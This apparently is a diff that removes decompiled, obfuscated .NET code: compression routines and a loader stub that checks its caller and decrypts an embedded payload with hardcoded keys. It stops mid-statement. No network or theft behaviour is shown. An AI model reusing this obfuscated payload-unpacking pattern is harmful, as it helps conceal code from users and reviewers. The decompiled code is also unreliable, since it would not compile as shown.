{ - int num8; - int num9; - int num10; - if (num1 < 2) - { - num8 = num3; - num9 = 2; - if (num9 != 0) - { - if (num8 < num9) - { - num10 = ++num3; - goto label_13; - } - } - else - goto label_17; - } - else - goto label_15; -label_11: - num10 = 0; -label_13: - int num11 = num10; - numArray1[num1++] = num11; - continue; -label_15: - obj0.\u0002 = Math.Max(num3 + 1, obj0.\u0001); - *(int*) ((IntPtr) voidPtr + 12) = num1; - num6 = 4; - num7 = num1; - if (true) - { - numArray2 = new int[num6 * num7 - 2]; - num9 = num1; - num8 = 2; - } - else - break; -label_17: - int[] numArray3 = new int[num8 * num9 - 1]; - int num12 = *(int*) ((IntPtr) voidPtr + 12); - *(int*) ((IntPtr) voidPtr + 16) = 0; - while (*(int*) ((IntPtr) voidPtr + 16) < num1) - { - if (true) - { - *(int*) ((IntPtr) voidPtr + 20) = numArray1[*(int*) ((IntPtr) voidPtr + 16)]; - numArray2[2 * *(int*) ((IntPtr) voidPtr + 16)] = *(int*) ((IntPtr) voidPtr + 20); - numArray2[2 * *(int*) ((IntPtr) voidPtr + 16) + 1] = -1; - numArray3[*(int*) ((IntPtr) voidPtr + 16)] = (int) obj0.\u0001[*(int*) ((IntPtr) voidPtr + 20)] << 8; - numArray1[*(int*) ((IntPtr) voidPtr + 16)] = *(int*) ((IntPtr) voidPtr + 16); - *(int*) ((IntPtr) voidPtr + 16) = *(int*) ((IntPtr) voidPtr + 16) + 1; - } - else - goto label_11; - } - int num13; - do - { - *(int*) ((IntPtr) voidPtr + 24) = numArray1[0]; - int index3 = numArray1[--num1]; - int index4 = 0; - int index5 = 1; - int num14; - int num15; - while (true) - { - if (index5 < num1) - { - if (index5 + 1 < num1 && numArray3[numArray1[index5]] > numArray3[numArray1[index5 + 1]]) - ++index5; - numArray1[index4] = numArray1[index5]; - index4 = index5; - num13 = index5; - if (true) - { - num14 = num13 * 2; - num15 = 1; - if (num15 != 0) - index5 = num14 + num15; - else - goto label_45; - } - else - goto label_1; - } - else - break; - } - int num16 = numArray3[index3]; - while (true) - { - int num17; - int index6 = num17 = index4; - while (true) - { - if (num17 <= 0 || numArray3[numArray1[index4 = (index6 - 1) / 2]] <= num16) - { - numArray1[index6] = index3; - *(int*) ((IntPtr) voidPtr + 28) = numArray1[0]; - index3 = num12++; - numArray2[2 * index3] = *(int*) ((IntPtr) voidPtr + 24); - numArray2[2 * index3 + 1] = *(int*) ((IntPtr) voidPtr + 28); - *(int*) ((IntPtr) voidPtr + 32) = Math.Min(numArray3[*(int*) ((IntPtr) voidPtr + 24)] & (int) byte.MaxValue, numArray3[*(int*) ((IntPtr) voidPtr + 28)] & (int) byte.MaxValue); - numArray3[index3] = num16 = numArray3[*(int*) ((IntPtr) voidPtr + 24)] + numArray3[*(int*) ((IntPtr) voidPtr + 28)] - *(int*) ((IntPtr) voidPtr + 32) + 1; - if (true) - index4 = 0; - index6 = 1; - int num18; - while (true) - { - if (true) - { - num4 = index6; - if (true) - { - int num19 = num1; - if (num4 < num19) - { - if (index6 + 1 < num1 && numArray3[numArray1[index6]] > numArray3[numArray1[index6 + 1]]) - { - num18 = index6 + 1; - if (true) - index6 = num18; - else - break; - } - numArray1[index4] = numArray1[index6]; - index4 = index6; - index6 = index4 * 2 + 1; - } - else - goto label_43; - } - else - goto label_51; - } - else - goto label_15; - } - num17 = num18; - } - else - break; - } - numArray1[index6] = numArray1[index4]; - } -label_43: - if ((index5 = index4) > 0) - { - int num20 = numArray3[numArray1[index4 = (index5 - 1) / 2]]; - num15 = num16; - num14 = num20; - } - else - goto label_46; -label_45: - if (num14 > num15) - { - numArray1[index5] = numArray1[index4]; - goto label_43; - } -label_46: - numArray1[index5] = index3; - } - while (num1 > 1); - goto label_47; -label_1: - num10 = num13; - goto label_13; - } - num5 = num7; - num5 = num6; - goto label_3; -label_49: - *(int*) ((IntPtr) voidPtr + 8) = (int) obj0.\u0001[*(int*) ((IntPtr) voidPtr + 4)]; - if (*(int*) ((IntPtr) voidPtr + 8) != 0) - { - num5 = num1; - goto label_3; - } - else - goto label_7; - } -label_51: - num2 = num4; - } -label_47: - \u0005.\u0001.\u0001(numArray2, obj0); - } - - static unsafe void \u0001( - int _param0, - int _param1, - \u0006.\u0006.\u0007 _param2, - bool _param3, - [In] byte[] obj4) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(24); - short[] numArray1; - (numArray1 = _param2.\u0001.\u0001)[256] = (short) ((int) numArray1[256] + 1); - \u0005.\u0001.\u0001(_param2.\u0001); - \u0006.\u0006.\u0007.\u0001 obj1 = _param2.\u0002; - if (true) - \u0005.\u0001.\u0001(obj1); - \u0005.\u0001.\u0001(_param2.\u0001, _param2.\u0003); - \u0005.\u0001.\u0001(_param2.\u0002, _param2.\u0003); - \u0005.\u0001.\u0001(_param2.\u0003); - *(int*) voidPtr = 4; - *(int*) ((IntPtr) voidPtr + 4) = 18; - while (*(int*) ((IntPtr) voidPtr + 4) > *(int*) voidPtr) - { - if (_param2.\u0003.\u0001[\u0006.\u0006.\u0007.\u0001[*(int*) ((IntPtr) voidPtr + 4)]] > (byte) 0) - *(int*) voidPtr = *(int*) ((IntPtr) voidPtr + 4) + 1; - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) - 1; - } - *(int*) ((IntPtr) voidPtr + 8) = 14 + *(int*) voidPtr * 3 + \u0005.\u0001.\u0001(_param2.\u0003) + \u0005.\u0001.\u0001(_param2.\u0001) + \u0005.\u0001.\u0001(_param2.\u0002) + _param2.\u000F; - *(int*) ((IntPtr) voidPtr + 12) = _param2.\u000F; - *(int*) ((IntPtr) voidPtr + 16) = 0; - int num1; - int num2; - while (true) - { - num1 = *(int*) ((IntPtr) voidPtr + 16); - num2 = 286; - if (num2 != 0) - { - if (num1 < num2) - { - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + (int) _param2.\u0001.\u0001[*(int*) ((IntPtr) voidPtr + 16)] * (int) \u0006.\u0006.\u0007.\u0003[*(int*) ((IntPtr) voidPtr + 16)]; - *(int*) ((IntPtr) voidPtr + 16) = *(int*) ((IntPtr) voidPtr + 16) + 1; - } - else - break; - } - else - goto label_16; - } - *(int*) ((IntPtr) voidPtr + 20) = 0; - while (*(int*) ((IntPtr) voidPtr + 20) < 30) - { - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + (int) _param2.\u0002.\u0001[*(int*) ((IntPtr) voidPtr + 20)] * (int) \u0006.\u0006.\u0007.\u0004[*(int*) ((IntPtr) voidPtr + 20)]; - *(int*) ((IntPtr) voidPtr + 20) = *(int*) ((IntPtr) voidPtr + 20) + 1; - } - if (*(int*) ((IntPtr) voidPtr + 8) >= *(int*) ((IntPtr) voidPtr + 12)) - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 12); - if (_param0 >= 0) - { - int num3 = _param1 + 4; - num2 = *(int*) ((IntPtr) voidPtr + 8); - num1 = num3; - } - else - goto label_18; -label_16: - int num4 = num2 >> 3; - if (num1 < num4) - { - \u0005.\u0001.\u0001(obj4, _param3, _param0, _param1, _param2); - return; - } -label_18: - if (*(int*) ((IntPtr) voidPtr + 8) == *(int*) ((IntPtr) voidPtr + 12)) - { - \u0005.\u0001.\u0001(_param2.\u0001, 2 + (_param3 ? 1 : 0), 3); - \u0006.\u0006.\u0007.\u0001 obj2 = _param2.\u0001; - short[] numArray2 = \u0006.\u0006.\u0007.\u0002; - byte[] numArray3 = \u0006.\u0006.\u0007.\u0003; - \u0005.\u0001.\u0001(numArray2, obj2, numArray3); - \u0006.\u0006.\u0007.\u0001 obj3 = _param2.\u0002; - short[] numArray4 = \u0006.\u0006.\u0007.\u0003; - byte[] numArray5 = \u0006.\u0006.\u0007.\u0004; - \u0005.\u0001.\u0001(numArray4, obj3, numArray5); - \u0005.\u0001.\u0001(_param2); - \u0005.\u0001.\u0001(_param2); - } - else - { - \u0005.\u0001.\u0001(_param2.\u0001, 4 + (_param3 ? 1 : 0), 3); - \u0005.\u0001.\u0001(_param2, *(int*) voidPtr); - \u0005.\u0001.\u0001(_param2); - \u0005.\u0001.\u0001(_param2); - } - } - - static void \u0001([In] \u0001.\u0002 obj0) - { - do - { - if (true) - goto label_3; -label_2: - continue; -label_3: - obj0.\u0001.GetMethod("Clear").Invoke(obj0.\u0001, new object[0]); - goto label_2; - } - while (false); - } - - static void \u0001(short[] _param0, \u0006.\u0006.\u0007.\u0001 _param1, [In] byte[] obj2) - { - _param1.\u0002 = _param0; - _param1.\u0001 = obj2; - } - - static void \u0001(byte[] _param0, [In] \u0006.\u0006.\u0008 obj1) - { - if (true) - obj1.\u0002 = _param0; - do - { - obj1.\u0017 = 0; - obj1.\u0018 = _param0.Length; - } - while (false); - } - - static void \u0001() - { - try - { - \u0001.\u0001.\u0001(); - } - catch (Exception ex) - { - } - } - - static unsafe bool \u0001([In] \u0006.\u0006.\u0001 obj0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(12); - switch (obj0.\u0013) - { - case 2: - if (obj0.\u0001) - { - obj0.\u0013 = 12; - return false; - } - *(int*) voidPtr = \u0005.\u0001.\u0001(obj0.\u0001, 3); - if (*(int*) voidPtr < 0) - return false; - break; - case 3: - if ((obj0.\u0017 = \u0005.\u0001.\u0001(obj0.\u0001, 16)) >= 0) - { - \u0005.\u0001.\u0001(obj0.\u0001, 16); - goto label_18; - } - else - goto label_15; - case 4: -label_19: - *(int*) ((IntPtr) voidPtr + 4) = \u0005.\u0001.\u0001(obj0.\u0001, 16); - int num1 = *(int*) ((IntPtr) voidPtr + 4); - if (false) - return num1 != 0; - if (num1 < 0) - { - if (true) - return false; - goto case 3; - } - else - goto label_23; - case 5: -label_24: - *(int*) ((IntPtr) voidPtr + 8) = \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0001, obj0.\u0017); - obj0.\u0017 -= *(int*) ((IntPtr) voidPtr + 8); - if (obj0.\u0017 != 0) - return !obj0.\u0001.IsNeedingInput; - obj0.\u0013 = 2; - if (true) - return true; - break; - case 6: - if (!\u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0001)) - return false; - obj0.\u0001 = \u0005.\u0001.\u0001(obj0.\u0001); - obj0.\u0002 = \u0005.\u0001.\u0001(obj0.\u0001); - obj0.\u0013 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return \u0005.\u0001.\u0001(obj0); - case 12: - return false; - default: - return false; - } - \u0005.\u0001.\u0001(obj0.\u0001, 3); - if ((*(int*) voidPtr & 1) != 0) - obj0.\u0001 = true; - int num2 = *(int*) voidPtr; -label_6: - switch (num2 >> 1) - { - case 0: - \u0005.\u0001.\u0001(obj0.\u0001); - obj0.\u0013 = 3; - break; - case 1: - obj0.\u0001 = \u0006.\u0006.\u0004.\u0001; - obj0.\u0002 = \u0006.\u0006.\u0004.\u0002; - obj0.\u0013 = 7; - if (true) - { - if (true) - { - if (false) - goto label_23; - else - break; - } - else - goto label_15; - } - else - goto label_18; - case 2: - obj0.\u0001 = new \u0006.\u0006.\u0005(); - obj0.\u0013 = 6; - break; - } - return true; -label_15: - int num3 = 0; - if (num3 == 0) - return num3 != 0; - num2 = num3; - goto label_6; -label_18: - obj0.\u0013 = 4; - goto label_19; -label_23: - \u0005.\u0001.\u0001(obj0.\u0001, 16); - obj0.\u0013 = 5; - goto label_24; - } - - static unsafe byte[] \u0001(byte[] _param0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(46); - Assembly callingAssembly = Assembly.GetCallingAssembly(); - if (true) - goto label_47; -label_7: - \u0006.\u0006.\u000F obj1; - *(int*) ((IntPtr) voidPtr + 12) = \u0005.\u0001.\u0001(obj1); - byte[] numArray1; - if (true) - { - *(int*) ((IntPtr) voidPtr + 16) = \u0005.\u0001.\u0001(obj1); - *(int*) ((IntPtr) voidPtr + 20) = \u0005.\u0001.\u0001(obj1); - if (*(int*) ((IntPtr) voidPtr + 16) > 0) - { - byte[] buffer = new byte[*(int*) ((IntPtr) voidPtr + 16)]; - obj1.Read(buffer, 0, *(int*) ((IntPtr) voidPtr + 16)); - } - if (*(int*) ((IntPtr) voidPtr + 20) > 0) - { - byte[] buffer = new byte[*(int*) ((IntPtr) voidPtr + 20)]; - obj1.Read(buffer, 0, *(int*) ((IntPtr) voidPtr + 20)); - } - long length = obj1.Length; - if (true) - { - long position = obj1.Position; - length -= position; - } - byte[] numArray2 = new byte[length]; - obj1.Read(numArray2, 0, numArray2.Length); - \u0006.\u0006.\u0001 obj2 = new \u0006.\u0006.\u0001(numArray2); - numArray1 = new byte[*(int*) ((IntPtr) voidPtr + 12)]; - \u0005.\u0001.\u0001(0, obj2, numArray1, numArray1.Length); - goto label_46; - } -label_23: - byte[] numArray3 = new byte[8] - { - (byte) 168, - (byte) 27, - (byte) 50, - (byte) 12, - (byte) 125, - (byte) 83, - (byte) 214, - (byte) 15 - }; - \u0006.\u0004 obj3 = new \u0006.\u0004(); - byte[] numArray4; - try - { - if (true) - { - using (ICryptoTransform cryptoTransform = \u0005.\u0001.\u0001(true, numArray3, numArray4, obj3)) - numArray1 = \u0005.\u0001.\u0001(cryptoTransform.TransformFinalBlock(_param0, 4, _param0.Length - 4)); - } - } - finally - { - while (obj3 != null) - { - if (true) - { - ((IDisposable) obj3).Dispose(); - break; - } - } - } -label_34: - if (*(int*) ((IntPtr) voidPtr + 24) == 3) - { - byte[] numArray5 = new byte[16] - { - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1, - (byte) 1 - }; - byte[] numArray6 = new byte[16] - { - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2, - (byte) 2 - }; - using (\u0001.\u0002 obj4 = new \u0001.\u0002()) - { - if (true) - { - using (ICryptoTransform cryptoTransform = \u0005.\u0001.\u0001(numArray6, obj4, numArray5, true)) - numArray1 = \u0005.\u0001.\u0001(cryptoTransform.TransformFinalBlock(_param0, 4, _param0.Length - 4)); - } - } - } -label_46: - obj1.Close(); - return numArray1; -label_47: - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if ((object) callingAssembly != (object) executingAssembly && !\u0005.\u0001.\u0001(executingAssembly, callingAssembly)) - return (byte[]) null; - obj1 = new \u0006.\u0006.\u000F(_param0); - numArray1 = new byte[0]; - *(int*) voidPtr = \u0005.\u0001.\u0001(obj1); - if (*(int*) voidPtr == 67324752) - { - *(short*) ((IntPtr) voidPtr + 44) = (short) \u0005.\u0001.\u0001(obj1); - *(int*) ((IntPtr) voidPtr + 4) = \u0005.\u0001.\u0001(obj1); - } - else - goto label_15; -label_4: - *(int*) ((IntPtr) voidPtr + 8) = \u0005.\u0001.\u0001(obj1); - if (*(int*) voidPtr != 67324752 || *(short*) ((IntPtr) voidPtr + 44) != (short) 20 || *(int*) ((IntPtr) voidPtr + 4) != 0 || *(int*) ((IntPtr) voidPtr + 8) != 8) - throw new FormatException("Wrong Header Signature"); - \u0005.\u0001.\u0001(obj1); - \u0005.\u0001.\u0001(obj1); - \u0005.\u0001.\u0001(obj1); - goto label_7; -label_15: - *(int*) ((IntPtr) voidPtr + 24) = *(int*) voidPtr >> 24; - *(int*) voidPtr = *(int*) voidPtr - (*(int*) ((IntPtr) voidPtr + 24) << 24); - if (*(int*) voidPtr != 8223355) - throw new FormatException("Unknown Header"); - if (true) - { - if (*(int*) ((IntPtr) voidPtr + 24) == 1) - { - *(int*) ((IntPtr) voidPtr + 28) = \u0005.\u0001.\u0001(obj1); - numArray1 = new byte[*(int*) ((IntPtr) voidPtr + 28)]; - *(int*) ((IntPtr) voidPtr + 32) = 0; - while (*(int*) ((IntPtr) voidPtr + 32) < *(int*) ((IntPtr) voidPtr + 28)) - { - *(int*) ((IntPtr) voidPtr + 36) = \u0005.\u0001.\u0001(obj1); - *(int*) ((IntPtr) voidPtr + 40) = \u0005.\u0001.\u0001(obj1); - byte[] numArray7 = new byte[*(int*) ((IntPtr) voidPtr + 36)]; - obj1.Read(numArray7, 0, numArray7.Length); - \u0006.\u0006.\u0001 obj5 = new \u0006.\u0006.\u0001(numArray7); - \u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 32), obj5, numArray1, *(int*) ((IntPtr) voidPtr + 40)); - *(int*) ((IntPtr) voidPtr + 32) = *(int*) ((IntPtr) voidPtr + 32) + *(int*) ((IntPtr) voidPtr + 40); - } - } - if (*(int*) ((IntPtr) voidPtr + 24) == 2) - { - numArray4 = new byte[8] - { - (byte) 206, - (byte) 107, - (byte) 182, - (byte) 126, - (byte) 132, - (byte) 38, - (byte) 84, - (byte) 45 - }; - goto label_23; - } - else - goto label_34; - } - else - goto label_4; - } - - static unsafe int \u0001(\u0006.\u0006.\u0002 _param0, byte[] _param1, int _param2, [In] int obj3) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(8); - *(int*) voidPtr = 0; - int num1; - int num2; - int num3; - while (true) - { - int num4 = _param0.\u0003; - int num5 = 0; - while (true) - { - if (num5 == 0) - { - if (num4 <= num5 || obj3 <= 0) - { - if (obj3 != 0) - { - *(int*) ((IntPtr) voidPtr + 4) = _param0.\u0002 - _param0.\u0001; - int num6 = obj3; - num5 = *(int*) ((IntPtr) voidPtr + 4); - num4 = num6; - } - else - break; - } - else - goto label_21; - } - if (num4 > num5) - obj3 = *(int*) ((IntPtr) voidPtr + 4); - do - { - Array.Copy((Array) _param0.\u0001, _param0.\u0001, (Array) _param1, _param2, obj3); - } - while (false); - _param0.\u0001 += obj3; - num1 = _param0.\u0001; - if (true) - { - int num7 = _param0.\u0002; - num2 = num1 - num7; - num3 = 1; - if (num3 == 0) - { - num5 = num3; - num4 = num2; - } - else - goto label_15; - } - else - goto label_20; - } - if (false) - goto label_22; - else - break; -label_21: - _param1[_param2++] = (byte) _param0.\u0001; - if (true) - { - _param0.\u0001 >>= 8; - _param0.\u0003 -= 8; - --obj3; - } - else - goto label_16; -label_22: - *(int*) voidPtr = *(int*) voidPtr + 1; - } - return *(int*) voidPtr; -label_15: - if ((num2 & num3) == 0) - goto label_19; -label_16: - if (true) - _param0.\u0001 = (uint) _param0.\u0001[_param0.\u0001++] & (uint) byte.MaxValue; - _param0.\u0003 = 8; -label_19: - num1 = *(int*) voidPtr; -label_20: - int num8 = obj3; - return num1 + num8; - } - - static unsafe int \u0001(int _param0, \u0006.\u0006.\u0001 _param1, byte[] _param2, [In] int obj3) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(8); - *(int*) voidPtr = 0; - int num1; - int num2; - do - { - num1 = _param1.\u0013; - num2 = 11; - if (num2 != 0) - { - if (num1 != num2) - goto label_8; -label_3: - if (!\u0005.\u0001.\u0001(_param1)) - { - int num3 = _param1.\u0001.\u0004; - num2 = 0; - num1 = num3; - goto label_5; - } - else - continue; -label_8: - *(int*) ((IntPtr) voidPtr + 4) = \u0005.\u0001.\u0001(obj3, _param0, _param2, _param1.\u0001); - _param0 += *(int*) ((IntPtr) voidPtr + 4); - *(int*) voidPtr = *(int*) voidPtr + *(int*) ((IntPtr) voidPtr + 4); - obj3 -= *(int*) ((IntPtr) voidPtr + 4); - if (obj3 != 0) - goto label_3; - else - goto label_2; - } -label_5:; - } - while (num1 > num2 && _param1.\u0013 != 11); - goto label_6; -label_2: - return *(int*) voidPtr; -label_6: - return *(int*) voidPtr; - } - - static unsafe bool \u0001(bool _param0, bool _param1, [In] \u0006.\u0006.\u0008 obj2) - { - int num1 = 24; -label_1: - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(num1); - if (obj2.\u0015 >= 262) - goto label_37; - else - goto label_39; -label_2: - int num2; - if (num2 == 0) - return false; -label_37: - while (obj2.\u0015 >= 262 || _param0) - { - if (obj2.\u0015 != 0) - goto label_9; - else - goto label_41; -label_6: - \u0006.\u0006.\u0007 obj1 = obj2.\u0001; - byte[] numArray = obj2.\u0001; - *(int*) ((IntPtr) voidPtr + 12) = obj2.\u0013; -label_7: - if (true) - { - *(int*) ((IntPtr) voidPtr + 20) = obj2.\u0014 - obj2.\u0013; - \u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 12), *(int*) ((IntPtr) voidPtr + 20), obj1, _param1, numArray); - obj2.\u0013 = obj2.\u0014; - return false; - } - goto label_16; -label_9: - if (obj2.\u0014 >= 65274) - \u0005.\u0001.\u0001(obj2); - *(int*) voidPtr = obj2.\u0011; - int num3; - do - { - num3 = obj2.\u0012; - if (obj2.\u0015 >= 3) - { - *(int*) ((IntPtr) voidPtr + 4) = \u0005.\u0001.\u0001(obj2); - if (*(int*) ((IntPtr) voidPtr + 4) == 0 || obj2.\u0014 - *(int*) ((IntPtr) voidPtr + 4) > 32506 || !\u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 4), obj2) || obj2.\u0012 > 5 || obj2.\u0012 != 3 || obj2.\u0014 - obj2.\u0011 <= 4096) - goto label_16; - } - else - goto label_16; - } - while (false); - obj2.\u0012 = 2; -label_16: - int num4; - if (num3 >= 3 && obj2.\u0012 <= num3) - { - \u0006.\u0006.\u0007 obj3 = obj2.\u0001; - *(int*) ((IntPtr) voidPtr + 16) = obj2.\u0014 - 1 - *(int*) voidPtr; - \u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 16), obj3, num3); - int num5 = num3; - if (true) - { - num3 = num5 - 2; - } - else - { - num4 = num5; - goto label_35; - } - } - else - goto label_24; -label_19: - ++obj2.\u0014; - --obj2.\u0015; - if (obj2.\u0015 >= 3) - \u0005.\u0001.\u0001(obj2); - num4 = --num3; -label_22: - if (num4 <= 0) - { - ++obj2.\u0014; - --obj2.\u0015; - obj2.\u0001 = false; - obj2.\u0012 = 2; - goto label_27; - } - else - goto label_19; -label_24: - if (obj2.\u0001) - \u0005.\u0001.\u0001(obj2.\u0001, (int) obj2.\u0001[obj2.\u0014 - 1] & (int) byte.MaxValue); - obj2.\u0001 = true; - ++obj2.\u0014; - --obj2.\u0015; -label_27: - int num6 = obj2.\u0001.\u000E; - if (false) - { - num1 = num6; - goto label_1; - } - else if (num6 >= 16384) - { - *(int*) ((IntPtr) voidPtr + 8) = obj2.\u0014 - obj2.\u0013; - num2 = obj2.\u0001 ? 1 : 0; - if (true) - { - if (num2 != 0) - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) - 1; - bool flag = _param1 && obj2.\u0015 == 0 && !obj2.\u0001; - obj1 = obj2.\u0001; - numArray = obj2.\u0001; - if (true) - { - *(int*) ((IntPtr) voidPtr + 12) = obj2.\u0013; - \u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 12), *(int*) ((IntPtr) voidPtr + 8), obj1, flag, numArray); - if (true) - { - obj2.\u0013 += *(int*) ((IntPtr) voidPtr + 8); - num4 = !flag ? 1 : 0; - } - else - goto label_6; - } - else - goto label_7; - } - else - goto label_2; - } - else - continue; -label_35: - if (true) - return num4 != 0; - goto label_22; -label_41: - if (obj2.\u0001) - goto label_42; -label_5: - obj2.\u0001 = false; - goto label_6; -label_42: - \u0005.\u0001.\u0001(obj2.\u0001, (int) obj2.\u0001[obj2.\u0014 - 1] & (int) byte.MaxValue); - goto label_5; - } - return true; -label_39: - num2 = _param0 ? 1 : 0; - goto label_2; - } - - static void \u0001([In] \u0006.\u0006.\u0002 obj0) - { - do - { - if (true) - goto label_3; -label_2: - continue; -label_3: - obj0.\u0001 = (uint) (obj0.\u0001 = obj0.\u0002 = obj0.\u0003 = 0); - goto label_2; - } - while (false); - } - - static void \u0001([In] \u0006.\u0006.\u0007 obj0) - { - obj0.\u000E = 0; - obj0.\u000F = 0; - } - - static void \u0001(\u0006.\u0006.\u0007 _param0, [In] int obj1) - { - if (true) - goto label_10; -label_6: - int index; - ++index; -label_7: - if (index < obj1) - { - if (false) - return; - \u0005.\u0001.\u0001(_param0.\u0001, (int) _param0.\u0003.\u0001[\u0006.\u0006.\u0007.\u0001[index]], 3); - goto label_6; - } - else - { - do - { - \u0006.\u0006.\u0007.\u0001 obj = _param0.\u0001; - \u0005.\u0001.\u0001(_param0.\u0003, obj); - } - while (false); - \u0006.\u0006.\u0007.\u0001 obj2 = _param0.\u0002; - \u0005.\u0001.\u0001(_param0.\u0003, obj2); - return; - } -label_10: - \u0005.\u0001.\u0001(_param0.\u0003); - \u0005.\u0001.\u0001(_param0.\u0001); - \u0005.\u0001.\u0001(_param0.\u0002); - if (true) - { - \u0006.\u0006.\u000E obj = _param0.\u0001; - int num = _param0.\u0001.\u0002 - 257; - if (true) - goto label_12; -label_1: - \u0005.\u0001.\u0001(_param0.\u0001, _param0.\u0002.\u0002 - 1, 5); - do - { - \u0005.\u0001.\u0001(_param0.\u0001, obj1 - 4, 4); - index = 0; - } - while (false); - goto label_7; -label_12: - \u0005.\u0001.\u0001(obj, num, 5); - goto label_1; - } - else - goto label_7; - } - - static unsafe void \u0001([In] \u0006.\u0006.\u0007 obj0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(20); - *(int*) voidPtr = 0; - while (*(int*) voidPtr < obj0.\u000E) - { - *(int*) ((IntPtr) voidPtr + 4) = (int) obj0.\u0002[*(int*) voidPtr] & (int) byte.MaxValue; - int num1 = (int) obj0.\u0001[*(int*) voidPtr]; - int num2 = num1 - 1; - if (num1 != 0) - { - *(int*) ((IntPtr) voidPtr + 8) = \u0005.\u0001.\u0001(obj0, *(int*) ((IntPtr) voidPtr + 4)); - \u0005.\u0001.\u0001(obj0.\u0001, *(int*) ((IntPtr) voidPtr + 8)); - *(int*) ((IntPtr) voidPtr + 12) = (*(int*) ((IntPtr) voidPtr + 8) - 261) / 4; - if (*(int*) ((IntPtr) voidPtr + 12) > 0 && *(int*) ((IntPtr) voidPtr + 12) <= 5) - \u0005.\u0001.\u0001(obj0.\u0001, *(int*) ((IntPtr) voidPtr + 4) & (1 << *(int*) ((IntPtr) voidPtr + 12)) - 1, *(int*) ((IntPtr) voidPtr + 12)); - *(int*) ((IntPtr) voidPtr + 16) = \u0005.\u0001.\u0001(obj0, num2); - \u0005.\u0001.\u0001(obj0.\u0002, *(int*) ((IntPtr) voidPtr + 16)); - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 16) / 2 - 1; - if (*(int*) ((IntPtr) voidPtr + 12) > 0) - \u0005.\u0001.\u0001(obj0.\u0001, num2 & (1 << *(int*) ((IntPtr) voidPtr + 12)) - 1, *(int*) ((IntPtr) voidPtr + 12)); - } - else - \u0005.\u0001.\u0001(obj0.\u0001, *(int*) ((IntPtr) voidPtr + 4)); - *(int*) voidPtr = *(int*) voidPtr + 1; - } - \u0005.\u0001.\u0001(obj0.\u0001, 256); - } - - static byte[] \u0001(byte[] _param0, byte[] _param1, byte[] _param2) => \u0005.\u0001.\u0001(_param0, 2, _param1, _param2); - - static unsafe string \u0001(string _param0, string _param1, string _param2, int _param3) - { - int num1 = 172; - while (true) - { - // ISSUE: untyped stack allocation - IntPtr num2 = __untypedstackalloc(num1); - void* voidPtr; - if (true) - voidPtr = (void*) num2; - *(int*) ((IntPtr) voidPtr + 116) = 62427; - *(int*) ((IntPtr) voidPtr + 116) = 82546; - *(int*) ((IntPtr) voidPtr + 84) = *(int*) ((IntPtr) voidPtr + 116); - do - { - *(int*) ((IntPtr) voidPtr + 72) = 7653; - *(int*) ((IntPtr) voidPtr + 72) = 117411; - *(int*) ((IntPtr) voidPtr + 20) = *(int*) ((IntPtr) voidPtr + 72); - *(int*) ((IntPtr) voidPtr + 36) = 94764; - *(int*) ((IntPtr) voidPtr + 36) = 106402; - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 36); - *(int*) ((IntPtr) voidPtr + 24) = 11155; - *(int*) ((IntPtr) voidPtr + 24) = 125575; - *(int*) ((IntPtr) voidPtr + 80) = *(int*) ((IntPtr) voidPtr + 24); - *(int*) ((IntPtr) voidPtr + 132) = 53855; - *(int*) ((IntPtr) voidPtr + 132) = 92226; - *(int*) voidPtr = *(int*) ((IntPtr) voidPtr + 132); - *(int*) ((IntPtr) voidPtr + 128) = 77533; - *(int*) ((IntPtr) voidPtr + 128) = 31148; - *(int*) ((IntPtr) voidPtr + 52) = *(int*) ((IntPtr) voidPtr + 128); - } - while (false); - *(int*) ((IntPtr) voidPtr + 104) = 17688; - *(int*) ((IntPtr) voidPtr + 104) = 83920; - *(int*) ((IntPtr) voidPtr + 28) = *(int*) ((IntPtr) voidPtr + 104); - \u0002.\u0005.\u0001(557); - *(int*) ((IntPtr) voidPtr + 32) = 85333; - *(int*) ((IntPtr) voidPtr + 32) = 159388; - *(int*) ((IntPtr) voidPtr + 92) = *(int*) ((IntPtr) voidPtr + 32); - \u0002.\u0005.\u0001(570); - \u0002.\u0005.\u0001(583); - *(int*) ((IntPtr) voidPtr + 124) = 21100; - *(int*) ((IntPtr) voidPtr + 124) = 50215; - *(int*) ((IntPtr) voidPtr + 64) = *(int*) ((IntPtr) voidPtr + 124); - *(int*) ((IntPtr) voidPtr + 112) = 8814; - *(int*) ((IntPtr) voidPtr + 112) = 110054; - *(int*) ((IntPtr) voidPtr + 56) = *(int*) ((IntPtr) voidPtr + 112); - *(int*) ((IntPtr) voidPtr + 48) = 19860; -label_4: - *(int*) 